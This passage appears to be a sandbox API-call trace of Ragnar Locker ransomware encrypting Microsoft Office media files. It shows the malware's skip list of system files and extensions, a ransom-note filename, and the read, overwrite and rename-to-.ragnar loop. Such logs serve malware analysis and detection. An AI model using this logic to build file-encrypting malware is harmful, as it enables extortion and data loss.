hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb7a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb7a, lpOverlapped=0x0) returned 1 [0095.598] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.598] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.598] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xb7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.598] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.598] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.598] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.598] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.598] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.598] GetProcessHeap () returned 0x580000 [0095.599] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.599] CloseHandle (hObject=0x104) returned 1 [0095.599] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" [0095.599] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.ragnar_FD7BD9FC" [0095.599] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212701.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212701.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.599] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0095.599] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.599] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0212957.WMF" | out: lpString1="J0212957.WMF") returned="J0212957.WMF" [0095.599] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF") returned=".WMF" [0095.599] lstrcmpiW (lpString1="J0212957.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="autorun.inf") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="boot.ini") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="bootfont.bin") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="bootsect.bak") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="bootmgr") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="bootmgr.efi") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="bootmgfw.efi") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="desktop.ini") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="iconcache.db") returned 1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="ntldr") returned -1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="ntuser.dat") returned -1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="ntuser.dat.log") returned -1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="ntuser.ini") returned -1 [0095.600] lstrcmpiW (lpString1="J0212957.WMF", lpString2="thumbs.db") returned -1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.600] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf")) returned 0x20 [0095.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.601] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9252) returned 1 [0095.601] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x241b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.601] GetProcessHeap () returned 0x580000 [0095.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.601] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2424, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.602] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.602] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.603] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2424, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2424, lpOverlapped=0x0) returned 1 [0095.603] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.603] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2424, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.604] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2424, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2424, lpOverlapped=0x0) returned 1 [0095.604] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2424, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.604] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.604] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.604] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.604] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.604] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.604] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.604] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.604] GetProcessHeap () returned 0x580000 [0095.604] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.604] CloseHandle (hObject=0x104) returned 1 [0095.604] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" [0095.604] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.ragnar_FD7BD9FC" [0095.604] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212957.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212957.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.607] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0095.607] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.607] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0214098.WAV" | out: lpString1="J0214098.WAV") returned="J0214098.WAV" [0095.607] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV") returned=".WAV" [0095.607] lstrcmpiW (lpString1="J0214098.WAV", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.607] lstrcmpiW (lpString1="J0214098.WAV", lpString2="autorun.inf") returned 1 [0095.607] lstrcmpiW (lpString1="J0214098.WAV", lpString2="boot.ini") returned 1 [0095.607] lstrcmpiW (lpString1="J0214098.WAV", lpString2="bootfont.bin") returned 1 [0095.607] lstrcmpiW (lpString1="J0214098.WAV", lpString2="bootsect.bak") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="bootmgr") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="bootmgr.efi") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="bootmgfw.efi") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="desktop.ini") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="iconcache.db") returned 1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="ntldr") returned -1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="ntuser.dat") returned -1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="ntuser.dat.log") returned -1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="ntuser.ini") returned -1 [0095.608] lstrcmpiW (lpString1="J0214098.WAV", lpString2="thumbs.db") returned -1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".db") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".sys") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".dll") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".lnk") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".msi") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".drv") returned 1 [0095.608] lstrcmpiW (lpString1=".WAV", lpString2=".exe") returned 1 [0095.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav")) returned 0x20 [0095.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.609] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26810) returned 1 [0095.609] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x68b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.609] GetProcessHeap () returned 0x580000 [0095.609] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.609] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.611] VirtualAlloc (lpAddress=0x0, dwSize=0x68ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.611] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.611] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.611] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x68ba, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x68ba, lpOverlapped=0x0) returned 1 [0095.612] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.612] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x68ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.612] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x68ba, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x68ba, lpOverlapped=0x0) returned 1 [0095.612] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x68ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.612] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.613] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x68ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.613] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.613] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.613] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.613] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.613] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.613] GetProcessHeap () returned 0x580000 [0095.613] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.613] CloseHandle (hObject=0x104) returned 1 [0095.613] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" [0095.613] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.ragnar_FD7BD9FC" [0095.613] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0214098.WAV.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0214098.wav.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.615] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0095.615] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.615] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0215086.WMF" | out: lpString1="J0215086.WMF") returned="J0215086.WMF" [0095.615] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF") returned=".WMF" [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="autorun.inf") returned 1 [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="boot.ini") returned 1 [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="bootfont.bin") returned 1 [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="bootsect.bak") returned 1 [0095.615] lstrcmpiW (lpString1="J0215086.WMF", lpString2="bootmgr") returned 1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="bootmgr.efi") returned 1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="bootmgfw.efi") returned 1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="desktop.ini") returned 1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="iconcache.db") returned 1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="ntldr") returned -1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="ntuser.dat") returned -1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="ntuser.dat.log") returned -1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="ntuser.ini") returned -1 [0095.616] lstrcmpiW (lpString1="J0215086.WMF", lpString2="thumbs.db") returned -1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.616] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf")) returned 0x20 [0095.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.616] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7482) returned 1 [0095.617] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1d31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.617] GetProcessHeap () returned 0x580000 [0095.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.617] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.618] VirtualAlloc (lpAddress=0x0, dwSize=0x1d3a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.618] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.618] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.618] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d3a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d3a, lpOverlapped=0x0) returned 1 [0095.619] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.619] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.619] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d3a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d3a, lpOverlapped=0x0) returned 1 [0095.619] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.619] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.620] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1d3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.620] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.620] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, 